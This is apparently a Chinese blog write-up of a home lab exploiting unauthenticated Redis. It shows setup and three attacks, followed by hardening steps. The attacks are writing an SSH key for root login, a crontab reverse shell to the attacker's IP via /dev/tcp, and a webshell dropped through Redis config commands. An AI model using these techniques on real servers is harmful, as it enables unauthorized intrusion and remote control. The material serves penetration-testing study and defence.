Redis未授权访问漏洞,包括很多姿势,之前一直有接触,但并没有认真总结过,最近有点闲。
并且在准备HW的东西 而未授权的Redis 在内网中很容易遇到,故写篇文章记录之。
Redis简介
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行操作。
Redis安装
这里拿两台机器做演示
虚拟机 Centos 10.211.55.23 作为目标机器
本机 Mac 10.211.55.2 作为攻击机。
安装Redis
1 | wget http://download.redis.io/releases/redis-4.0.6.tar.gz |
解压压缩包
1 | tar -zxvf redis-4.0.6.tar.gz |
yum安装gcc依赖
1 | yum install gcc |
编译
1 | cd redis-4.0.6/src |
编译成功
将redis的命令安装到/usr/bin/目录
1 | sudo make install |
运行
启动服务器
1 | redis-server |
新终断启动客户端测试下
1 | redis-cli -h 127.0.0.1 |
默认开启保护模式,要关闭保护模式
修改redis的配置文件redis.conf
protected-mode 修改为no
将这一行注释掉,表示任何主机都可访问的意思,生产环境中最好是指定特定的主机进行访问。
重启服务器
1 | redis-server redis.conf |
SSH密钥登陆
本机Mac作为攻击机,链接一下虚拟机的 Redis数据库
直接可以连接,说明存在未授权访问漏洞
Linux服务器 我们一般采用密码方式登陆,但是每次输入密码会显得非常麻烦。SSH还有一个更便携的方法就是通过密钥方式登陆。
将公钥添加到服务器中,在客户端利用私钥即可完成认证并成功登陆服务器。
简单说下原理,大致意思就是用户将自己的公钥存储在远程主机(服务器)上,登陆时候远程主机会发送一段随机字符串,经过我们本地的私钥加密以后在发给服务器。最后服务器用存储的公钥进行解密,如果解密成功则直接登录,没有输入密码的过程。
首先,我们先看下服务器上有没有开启密钥登陆
1 | vim /etc/ssh/sshd_config |
默认是开启了密钥登陆的
这里默认是 yes 改为 no 就是禁用了密码登陆,这样妈妈再也不用担心我被爆破了。
在本机生成一对公私钥
1 | ssh-keygen |
1 | #链接redis。 |
然后直接写入公钥。
save将公钥值保存到要操作的文件。
写入公钥以后,直接登录即可
1 | ssh -i id_rsa root@10.211.55.23 |
反弹shell
利用定时任务crontab反弹shell
1 | */1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1 |
表示每1分钟执行一次反弹shell的命令
1 | $ ./redis-cli -h 10.211.55.23 |
nc监听一下
回到靶机crontab -l
查看一下计划任务
写进来了。
这时候也成功反弹了。
写入webshell
原理都是一样的。
1 | config set dir /var/www/html/ |
漏洞修复
设置认证密码
编辑配置文件redis.conf
找到 #requirepass foobared
添加如下内容
1 | requirepass zxcvbnm123. |
保存即可。
本机验证一下看看
也可直接
1 | ./redis-cli -h 10.211.55.23 -a zxcvbnm123. |
修改默认6379端口
编辑配置文件redis.conf
1 | port 6379 |
改为其他端口
指定主机访问
编辑配置文件redis.conf
指定主机访问,前面也提到过,redis默认的配置就是这样的,只不过我们为了复现漏洞添加了注释。
开启保护模式
编辑配置文件redis.conf
1 | protected-mode yes |
我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=ehbox4kf2m7x